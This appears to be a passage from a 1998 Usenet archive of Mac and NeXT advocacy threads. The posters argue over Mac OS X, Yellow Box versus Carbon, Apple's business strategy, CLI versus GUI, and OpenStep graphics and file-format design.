OS & OPENSTEP heritage (plus knowledge gained from the Pink, Taligent and
Copland efforts) ought to bring forth the premier high volume operating
system of the next decade. There's the potential for Mac OS X to redefine
what a modern high volume OS ought to be. I mean on the order of how the Mac
redefined how easy a high volume computer ought to be to used, not simply
raising the bar a feature here and there.
It will likely take a major, critical, Microsoft blunder or fault to weaken
it's intimidatingly dominant place in the market and a near perfect
execution by Apple for Apple to make headway significant enough to ensure
long term survival and moderate growth. It will take that and a more
substantial effort at differentiation and greater leverage of NeXT and other
technologies in its portfolio to make it a serious competitor again. This
may not happen within even 10 years. IMO, this is Apple's "reconstruction"
phase.
From my POV, we're in the least competitive general purpose app and OS
personal computer market in memory. I'm still unconvinced Jobs wasn't right
a few years back when he predicted a Microsoft-dominated 'dark ages' for the
industry.
--Ed.
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 07 Sep 1998 23:45:22 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-0709982345230001@mg-20664219-230.ricochet.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <35F3FC14.57B2FD92@nstar.net>
In article <35F3FC14.57B2FD92@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> > not a piece of the OS you can't change.
>
> Good point. Get yourself a hex editor and you can change anything about
> Linux, too.
>
> MJP
That sounds like "Too Much Work". The MacOS is designed to avoid "Too Much
Work".
Using ResEdit, you open a *copy* of the System file. To change the menus,
you open the appropriate resource, add your keyboard combination, change
the name, etc., save and close, and you're done.
What do you have to do with your hex edit method?
--gdw
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 07 Sep 1998 23:53:48 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-0709982353490001@user-38ld64n.dialup.mindspring.com>
References: <heaney-0609982205450001@24.0.246.137> <B2188CC5-28AFC@206.165.43.166>
In article <B2188CC5-28AFC@206.165.43.166>, "Lawson English"
<english@primenet.com> wrote:
>But MY point is that the kind of help that YOU like is going away with the
>next release of MacOS.
No, it is not. Apple Guide continues to work in 8.5. In fact, the HTML
help system can and does invoke Apple Guide coaching.
Lawson, have you ever considered not taking the "Help! The sky is
falling!" position by default?
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: "Jim Ross" <jktross@cw-f1.umd.umich.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <6t150u$mfe@news1.panix.com> <35F50108.2663D036@nstar.net>
Subject: Re: Apple heading to obscurity?
Message-ID: <bP4J1.1546$F7.6697240@news.itd.umich.edu>
Date: Tue, 8 Sep 1998 03:10:03 -0400
NNTP-Posting-Date: Tue, 08 Sep 1998 03:14:15 EDT
Michael J. Peck wrote in message <35F50108.2663D036@nstar.net>...
>Sal Denaro wrote:
>
>> Apple has to push an Apple solution. Period.
>
>I don't know what this means, or what it has to do with the
>conversation. I thought we were talking about custom solutions as
>opposed to standardized configurations. Presumably Apple would be
>selling Apple solutions, custom or no.
He means not cloned stuff.
>> If you are not pushing a customized product, then you are just a cloner
>> and have to deal with the shrinking margins and little room to innovate.
>
>Apparently, to you, the only "standard" product is a Wintel product.
He didn't imply that. Wintel is A standard product, not the ONLY.
As opposed to Apple being THE game in town.
>Incidentally, I take issue with the statement that a "cloner" has little
>room to innovate. After all, MacOS licensees were out-innovating Apple,
>who supposedly had all the room to innovate.
>
This is different. Like in the early days Dell was beating IBM was lower
overhead, even though IBM got bigger volume discounts from compenent
manufactures. Same thing here. These companies automatically had
advantages such as less red tape, smaller size, fresher people, less things
to manage, less expectations/demands. Apple is like the Titantic in
comparison. Turns slower.
>Keep in mind that "custom" is not equivalent to "proprietary".
This is true but the terms often seem to equal.
>> Apple should not be in the business of building beige boxes with
shrinking
>> margins.
>
>I never asked anyone to build beige boxes, and I never mandated any kind
>of shrinking margins. In fact, writing software effectively can yield
>any margins you like. Hardware has a fixed cost per unit; in many ways,
>hardware margins are a solid, slowly-changing number. In recent days,
>that number has been shrinking and will almost certainly shrink further.
It was just a side point that Apple has to get a competitive advantage from
both its hardware and software to do well. No cloning will do.
>By contrast, software can be written once and distributed at minimal
>cost to any number of customers, yielding high margins if the market is
>large enough. This is the ironic thing about your argument; you advocate
>a continuance of Apple manufacturing on the basis of margins when those
>margins cannot possibly hold up.
Being the only game in town Apple's margins on hardware can hold up.
Also your argument that software can offer large margins has 2 problems.
1. Much of that revenue just pays off your r&d (if your lucky and people
either don't buy/like it, or get tired of it before you make your money
back.)
2. Hidden cost of suport. That eats into profits. Even when you charge
you struggle here because good support people are hard to find - i.e. costly
and if they give bad advice you start to lose customers.
>
>
>What is the baseline? At any rate, Apple posted a profit during the
>Amelio era. This was largely due to cutting costs, yet Amelio managed to
>engineer most of the G3 line before he left, the very line that is
>responsible for Apple's new growth.
I believe Amelio has a couple of bad quarters were Apple lost nearly $1
billion dollar each. To no that it's good. And not fast enough of a
turn-around if that's what you are saying. Perception problems are the
biggest ones for Apple I think and with products like the iMac this will
improve. People focuses on how it is limited. This is where the benefits
come in to. Cost of ownership anyone?
>> I don't follow your point here. How is Sun's hardware selling software?
This sounds backward. Java (which happens to be slow) spurs the need for
fast hardware. So software drives hardware. Like Microsoft/Intel try to do
the cycle.
>Sun's hardware sales are funding development of platform-agnostic
>software technologies.
This is funny. Sun thinks since they don't have the apps Windows does they
should level the apps (development) playing field. Then people will buy
machines. If anything it helps NT (fast Java) and Alpha (it's all about the
megahertz baby.)
>It is an expensive brand, one which most customers will not pay for, and
>which will eventually sink Apple.
With iMac I don't think their is any unneccessary premium for the Apple
"brand". Cheap stuff. I people will buy these because, they are actually
"cool", cheap, easy to use, lower cost of maintainance/ownership down to
road. This computer is successful because - it works and it is a good
value.
Jim
Date: Tue, 08 Sep 1998 08:28:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: You'd Need A 469MHz PII To Beat An IBM G3/400 Based PowerMac
Message-ID: <joe.ragosta-0809980828440001@wil50.dol.net>
References: <datamagik-0109981809260001@norlm350mac23.colorado.edu> <35ECFC84.A53DE157@worldnet.att.net> <joe.ragosta-0209980638480001@elk77.dol.net> <macghod-0209981430030001@1cust52.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0209982056130001@elk103.dol.net> <macghod-0209982152430001@1cust187.tnt1.santa-barbara.ca.da.uu.net>
In article
<macghod-0209982152430001@1cust187.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <joe.ragosta-0209982056130001@elk103.dol.net>,
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> > In article <joe.ragosta-0209980638480001@elk77.dol.net>,
>> > joe.ragosta@dol.net (Joe Ragosta) wrote:
>> >
>> > > Sure. But when you consider:
>> > >
>> > > 1. SPEC is still using the IRC compiler which is not used by any
>> > > commercial apps. This compiler is optimized for benchmarks, but does not
>> > > seem to be used in real life.
>> >
>> > Yeah, and Apple used moto 3 dr3 which is not used in any commercial apps.
>>
>> It was Byte that did the testing. Apple's ads specifically sited Byte as
>> the source. Why don't you take it up with them?
>
>Joe, various people here have stated they noticed the "footnote" on
>apple's web page stating that the test was done by Apple in Apple's lab.
>This was when the toasted bunny first came out. I know you have seen
>these posts, so stop being dishonest.
Damn. I installed the latest beta software and accidentally deleted my
Newswatcher filter file and look who crawled back out.
*plonk*
BTW, you continue to accuse me of being dishonest when I'm RIGHT. The
original ads said that the source of the information was Byte Magazine. I
recall looking for the disclaimer in the WSJ ad. Apple may have changed
them later, but that doesn't change the fact that the first ads cited
Byte.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Date: Tue, 08 Sep 1998 06:32:53 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0809980632540001@elk86.dol.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <6t150u$mfe@news1.panix.com> <35F50108.2663D036@nstar.net> <35F48F2C.6526@globaldialog.com>
In article <35F48F2C.6526@globaldialog.com>, webnik@globaldialog.com wrote:
> Apple MUST win over business to survive.
>
[snip of more MuellerFUD (TM)]
>
> The other solution is for Apple or a Mac developer, to produce a product
> SO SUPERIOR that it will replace the competing product. It's unlikely to
> happen, since the technically superior product, doesn't always win in
> the market place.
>
> Other than that, the Mac will remain a niche product for the home... if
> Apple is lucky!
I KNOW!
The Mac needs Webnik! Then we can say we have an app that doesn't run on
NT!!!!! That would save everything. The Mac's market share would jump to
63.2% and Jobs could start lighting his cigars with $100 bills.
Let's start a campaign to get Webnik ported to the Mac. ;-)
(btw, what does Webnik do?)
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 15:28:38 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t3if6$h$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: In article <6svokr$51r$1@nnrp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > You know, you called this a CLI vs. GUI thread even after I said how much
: > I liked GUIs. I want to know why it became a "vs.", not just in your
: > response but in Macland in general.
[ much CLI vs. GUI text clipped ]
: I really can't think of any cases where a CLI is more useful or more
: efficient than a GUI. If the Mac had a CLI, I can't imagine what I would
: use it for.
I'm not bothered if someone chooses a GUI for a particular task over a
CLI. The bit that I'm bothered by is idea that a CLI is never
appropriate. I would be at least as disturbed by a CLI addict who said
that a GUI was never appropriate.
Let's examine this a little more. We humans build our civilization upon
the written word. As you say, much of what people do with Macs involves
reading and writing. There are some evolutionary biologists who think
that language processing is not just an ability we have, but it is the
fundamental mechanism of consciousness. The ability of our minds to
manipulate language, especially written language is a very big deal.
If we use language and words for so many things, why is it inappropriate
to direct a computer by words?
It seems an arbitrary distinction.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <Eys0Cz.9DC@T-FCN.Net> <B218428C-D886F@206.165.43.134>
Mime-Version: 1.0
Date: Tue, 8 Sep 1998 15:27:49 GMT
In <B218428C-D886F@206.165.43.134> "Lawson English" wrote:
> BTW, the report of K2 that *I* saw said that it *exports* PDF but uses its
> own internal file format.
So do we, we have our own internal file format and export EPS.
> This makes sense if they retain the textness of
> text with 3D perspective (or extrustion, whatever that "text with depth"
> comment in the report meant), not to mention any other features that go
> beyond the PDF model.
It makes sense at a level far below that - like naming a shape. This still
in no way implies that the engine is any different. Attempting to draw
conclusions about the graphics engine by inspecting the file format is akin
to attempting to reverse engineer USB from the shape of the mouse.
> I'm guessing that K2 DOES provide transparency control with editable text
> and graphics, which PDF doesn't provide for
Again you are confusing the graphics engine with the feature set being
supported on top of it. PS doesn't have any concept of shapes, yet our
program does. How is this possible?!?! More specifically I've outlined how
to do text-on-a-path on PS under OpenStpe - and since writing about that in
the past I've more recently discovered NSTextContainer, which includes all
the string-to-glyph mapping calls that you claimed would be so increadibly
difficult to add. In fact one gets all the functionality of text-on-a-path
by a suitable subclass of this AppKit wonder. So...
a) the engine has no idea
b) the file format has no idea
c) the class library has an idea
d) it can work
Which is exactly what every one of these threads has ended up on - your
claim that since the engine (and now, file format) doesn't support some
feature, then that feature cannot be supported. This is simply untrue.
Sure, I'd love if if there was a subclass that took a NSBezierPath (stupidly
named, it can have straight paths inside too) and a NSString and did the work
for me, but I'm not going to cry over it.
> doesn't know about. Given that we *already* have an example of a graphics
> system that allows 3D perspective and transparency/non-opaque text/graphics
> manipulation during pre-press, we shouldn't let the political realities of
> Apple and Adobe prevent us from sharing high-end graphics that go beyond
> the capabilities of Apple's blessed print-file format.
That's not the question, the question is how much work for what benefit. I
for one do not want any system that uses anything but MAXFLOAT as the bounds.
GX is out right there. GL might not be, but I really don't know anything
about it's 2D side, and no one really talks about it.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 08 Sep 1998 10:45:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F5510B.2AB63391@ericsson.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <35F3FC14.57B2FD92@nstar.net> <gdwarnernyet-0709982345230001@mg-20664219-230.ricochet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Glen Warner wrote:
> That sounds like "Too Much Work". The MacOS is designed to avoid "Too Much
> Work".
>
> Using ResEdit, you open a *copy* of the System file. To change the menus,
> you open the appropriate resource, add your keyboard combination, change
> the name, etc., save and close, and you're done.
All true, happily. ResEdit is a very nice program. Regardless, you'll
note that Joe Ragosta said:
> You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
> not a piece of the OS you can't change.
</quote>
> What do you have to do with your hex edit method?
You edit the hex, just as you would if you were to change, for instance,
the location of the MacOS menu bar. Can you tell me how to do that?
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166>
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Date: Tue, 8 Sep 1998 15:41:38 GMT
In <B21882EA-3A2A@206.165.43.166> "Lawson English" wrote:
> >Binary, text, shminary, whatever.
>
> Well, it's faster to access if it is in binary format.
Wrong, this is Unix remember? The fastest is a ZIPped text file, a format
the OS will be wonderfully good at handling.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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References: <B2182238-5EFDA@206.165.43.134>
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Date: Tue, 8 Sep 1998 15:40:06 GMT
In <B2182238-5EFDA@206.165.43.134> "Lawson English" wrote:
> As I pointed out in my previous response, having a well-defined binary file
> graphics format would be nicer for automated pre-press than the above
> text-based one. Is there a binary representation that OAPropertyListCoder
> can produce that can be parsed using a standardized drawing app?
What is a "standardized drawing app"?
> The need for this should become VERY obvious when one is dealing with
> blocks of text or bitmaps. Try writing a routine to extract/manipulate a
> bit of text, including all style-info, from a text-based format such as
> standard PDF or the text-format you give above. Less easy to do. Now
> extract/manipulate a portion of a bitmap. Even less easy to do.
Trivial in fact, for all the examples. The bitmaps are stored as pure
TIFFs so that's no issue, and for the text we have all the standard NSString,
Text and AttributedString stuff. Really, you should bother to pick up the
manual before posting such comments, but we've told you this countless times
in the past and you've refused, so I fully expect you to continue in your
self-enforced ignorance in the future.
> If the OAPropertyListCoder provides a standardized binary format, then
> we're almost done. All that needs to be done is to provide a standardized,
> multi-layer tree structure that an application can save images to so that
> OTHER applications (not just the same one on a different machine) can
> extract the original image and manipulate it.
Agreed, XML is the solution. Not a great one, but it works. In fact they
have two formats for graphics in XML, both have good and bad points, but for
the most part they are both PS based and somewhat based on the CSS model.
This problem will be going away shortly.
> Other issues would be *which* nesting scheme and object-sharing scheme
> makes the most sense. GX encapsulates print-oriented graphical info in 4
> main objects: shape, transform, style and ink.
CSS does all of this.
> I am *totally* dis-satisfied with Apple's stated goal of making PDF the
> standard graphics-sharing/pre-press format. That should be an export option
> and the format used to pass images between YB and Carbon apps if they don't
> use a retained mode library (predefined shapes & co. ala GX), but NOT the
> format used to share images between YB apps or the format used for
> pre-press on machines that have YB installed
This I'd agree with.
> Given the example of how useful GX is in pre-press
Har. Not a single press I've seen uses GX. Funny defintion!
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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References: <B2182238-5EFDA@206.165.43.134> <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6sva1t$12381@odie.mcleod.net>
Mime-Version: 1.0
Date: Tue, 8 Sep 1998 15:54:13 GMT
In <6sva1t$12381@odie.mcleod.net> "Michelle L. Buck" wrote:
> For the sake of future discussion we should all agree to the following
> statements:
>
> 1) XML has a lot of promise and Microsoft is behind it. Of course, they
may
> find a way to make it proprietary and/or introduce so many bugs that the
> standard is useless for interchange (a la RTF).
Yup. The current standard(s) show definite promise, although there are
still any number of "left blank for future expansion" boxes in the API
tables. "MS's standard" has the advantage of being tightly integrated with
the CSS style model, while Adobe's seems to have a more poweful direct
interface. I could re-write GlyphiX to use either of the current XML specs
without too much trouble, as both use the PS graphics model as their basis.
> 2) Openstep/Rhapsody already has an excellent standard format for binary
> archives of arbitrary graphs of objects. The NSCoder/NSArchiver classes
> handle all issues pertaining to circular references (cycles) and
conditional
> encodings and byte order and built in types.
Two problems...
a) VERY class dependant, even changes within a program break the coders
b) not a inter-app format
> 3) A variation of NSCoding that allows the use of UNICODE property
> identifiers enables the same archiving of arbitrary graphs of objects into
a
> human readable UNICODE file.
This is something that Apple should do IMHO.
> 4) A variation of NSCoding could produce XML documents.
This too. However when I suggested this at WWDC, the return comment was
"XLM?". I think they were getting the XML system while I was there though,
at a feedback forum a few days later they noted they were looking at it.
IronDoc is also very neat. Put objects in, get objects out. Single-file
data soup. Cool.
> 1) The NSBezierPath class is capable of representing all 2D graphical
shapes
> any reasonable person would create. Such shapes include text outlines,
> discontinuous shapes, open shapes, concave shapes, convex shapes, shapes
> with as few as one point, shapes with 100,000 points, shapes with quadratic
> bezier curves, etc. NSBezierPath encapsulates all vector image
> descriptions.
Still an odd name though. Shouldn't it simply be NSPath?
> 2) The NSImage class is capable of storing and rendering Tiff, EPS, PNG,
> BMP, and other image formats. NSImage inter-operates with an object
> framework that enables seamless automatic conversion of image formats as
> needed. NSImage encapsulates all raster image descriptions.
NSImage is godlike. I would like a factory method to find a picture
"resource" by name in all loaded bundles though, the current solution to this
common need is several lines long (gosh!).
> 4) Any NSBezierPath or NSImage can be transformed into another NSBezierPath
> or NSImage via a NSAffineTransformation.
And with the new engine, it's possible this will work on composition too.
That's my big complaint with the current system, some actions hit the CTM and
some don't. Even single commands, like composition, hit the CTM in random
places - for instance a transform is seem, but a rotation is not.
> 6) The NSColor class encapsulates RGB, BW, BWA, RGBA, CMYK, HSB, Pantone,
or
> custom color definitions.
NSColor is also godlike. As is NSTextContainer, NSString,
NSanythingyoucanthingof.
> handling of arbitrary transparency via an alpha channel. Any pixel in a
> NSImage and any NSBezierPath can be rendered with any NSColor.
Even on the later? I really need to keep more up to date!
> 1) Any graphical rendering of arbitrary complexity can be encoded into a
> binary or human readable UNICODE or XML data stream by any application and
> reconstituted in another application.
But only if the object encoding format is agreed upon, and the objects well
known. A series of NSBezierPaths does not by itself represent a group, and a
coder of those is not useful outside the original application.
> 3) Efficient binary encodings are available.
ZIP is the best solution here IMHO. ZIP the text file, that's going to
beat any pure-binary format anyway!
> I have not even mentioned the NSText class cluster yet. Text flows, spell
> checking, find, replace, UNICODE, kerning, super/sub scripting, etc. are
all
> available.
I added complete multilingual spell checking and find and replace to my app
in two days + another for debugging and such.
> Really final note for Mr.. English. All of this has been possible since
> 1988 with NeXTstep and in fact several of my our applications have taken
> advantage of it. The fact that Mr.. English has stated at one time or
> another that everything described above is not possible does not change the
> facts. The Fact that Mr.. English comments out of utter ignorance and
still
> to this day has not bothered to check the facts or heaven forbid try to use
> these features astonishes me. After typing all of this, I begin to wonder
> why I waste my time educating potential competitors.
Oh, I don't think you need to worry on the last point.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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References: <B2182238-5EFDA@206.165.43.134> <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6sva1t$12381@odie.mcleod.net> <6svfe9$dle$1@news.idiom.com>
Mime-Version: 1.0
Date: Tue, 8 Sep 1998 15:58:23 GMT
In <6svfe9$dle$1@news.idiom.com> John C. Randolph wrote:
> Yeah. Actually, I'd say that the name is unfortunate, and that it should
> have been called someting like "NSPath" or "NSDrawingPath".
Ahhh, it's not just me.
> Well, mostly. We didn't have NSBezierPath then, but it would have been
> pretty easy to wrap up a postscript userpath in an object.
As the MiscUserPath did.
> I mean, here's a guy who would insist on taking the Titanic on a voyage
from
> England, because it's the best damn ship there ever was, and it doesn't
> matter that it sank, because anyone who doesn't agree that its worth the
> money to re-float, repair, and re-fit her is an idiot, and he can prove
that
> jet aircraft are inferior because they can't float for extended periods of
> time, and they can't be docked at New York's south street seaport.
Besides,
> the Titanic had a much better menu, and jet aircraft don't even *have*
> lifeboats!
"and in the case of an emergency water landing, we would like PineappleAir
customers to remember that the seat cushions are our property and cannot be
used for floatation".
Maury
From: Fergus.Doherty@nottingham.ac.uk (Fergus Doherty)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: Tue, 08 Sep 1998 16:17:16 +0100
Organization: Nottingham University
Message-ID: <Fergus.Doherty-ya02408000R0809981617160001@news.nottingham.ac.uk>
References: <6stc1a$137o$1@piglet.cc.uic.edu> <1998090617102500.NAA17594@ladder01.news.aol.com> <LGHI1.3517$_c3.13399209@news.rdc1.nj.home.com> <6svqso$pn8$1@news.idiom.com>
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In article <6svqso$pn8$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> "Chris Van Buskirk" may or may not have said:
>
> -> Jeezz, you nextstep people are so pompous and arrogant.
>
> And you mac toolbox dweebs are so deliberately ignorant! Christ, you're like
> a pack of lamp-oil vendors bitching at Edison.
>
Well, come on guys, with squabbling like this between people presumably
hoping/working for the success of MacOS X I think Microsoft can rest easy
and us users, and Apple, will be screwed!
The way I see it Apple (in the shape of Tevanian and Jobs) tried early on
to convince the likes of Adobe, Macromedia, Microsoft to shift to Yellow
Box. I get the impression that they weren't prepared too, at least not
yet. This would have left MacOS X (or Rhapsody as it then was) with few,
or no, high profile apps from the big guys. OK, so maybe their apps stink,
but as we all must know now negative press spin on Apple's projects can
kill Apple. And without those big names the press will really hammer Mac
OS X, despite whatever excellent Yellow Box apps there are from smaller
developers.
Apple needed a new OS that allowed legacy apps to run perfectly, and
seamlessly, for the user. Hence Carbon. I think the Blue Box was seen as
too much of an obvious kludge and Carbon as a way to "clean up" MacOS apps
for Mac OS X. Seems reasonable to me, in fact I don't see that there was
any viable alternative.
As for Yellow Box - I don't see any reason to think that Apple aren't
committed to it. OK, so maybe they should be saying more, but OTOH Apple
take a different approach now. They keep quiet until something is ready.
Isn't it true that we don't know what is happening in Apple and elsewhere
in terms of Yellow Box app development (excepting existing Yellow Box
developers).
As an ignorant Mac user I hope Yellow Box succeeds because it sounds so
good. I could think of plenty of scientific apps in my area that could be
written for Yellow Box and run on Mac OS X and Windows, and could make big
bucks for someone. Alas I am not a programmer and I haven't the hardware
to run Mac OS X Server so I must hope that others out there are doing it.
--
Fergus Doherty,
Biomedical Sciences,
Nottingham University,
Fergus.Doherty@nottingham.ac.uk
0115 970 9366 (74-41366 internal)
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 16:11:33 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t3kvl$hi$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: In article <6svokr$51r$1@nnrp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > I'd say it falls in nicely with my "fear of text" theme. The Apple help
: > system says don't make me read anything, just circle what I'm supposed to
: > do. As if a computer knew what I want to do.
: I use help all the time without the red circles. I was just using that
: as an example of just how sophisticated the help system is.
Earlier you responded to one of my posts like this:
John Heaney <heaney@SolidObject.com> wrote:
: John Jensen wrote:
: > Actually, the fear of text held by CLI foes is most often demonstrated by
: > an aversion to "man". Why? When I type "man command", my system finds a
: > nice essay on the use of the command. What could be better for a lover of
: > words?
: I would prefer holding down the Control key while clicking on an iconic or
: textual representation of "command" and have that bring up a hyper linked
: system of navigating through all the related documentation. And then when
: I want to execute the command, I want the computer to lead me through all
: the steps, circling all the places I have to click with big red virtual
: ink. Lo and behold that's what I get with the Mac OS GUI.
Now you tell me you don't use the red circles.
John
Date: Tue, 08 Sep 1998 13:45:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Message-ID: <joe.ragosta-0809981345400001@wil70.dol.net>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com> <gmgraves-0409981057290001@sf-pm5-19-83.dialup.slip.net> <slrn6v0cu6.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6v0cu6.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
>On Fri, 04 Sep 1998 10:57:28 -0700, George Graves <gmgraves@slip.net> wrote:
>
>
>: That conclusion DOES explain
>:why some people with Macs never have crashes while others have machines
>:which crash constantly. If this is so, then shame on Apple for releasing such
>:unstable designs.
>
>I have a conspiracy theory: that the Mac's lack of protected memory let
>the hardware engineers get lazy.
>
>If something crashed the system, they just thought, "Dang Netscape again"
>and rolled their eyes at the bozos in Operating Systems who haven't been
>able to get a real OS to work for years.
>
>On the other hand, with a better operating system, they would have known
>for sure that The Computer Is Not Supposed To Crash Ever, and looked harder at
>the hardware design.
That may be true. You could demonstrate it by taking a Mac which crashes
frequently and doing a clean installation of Mac OS with no third party
extensions on it to see if the problems go away. OR, you could install
Linux to see if it has similar problems.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
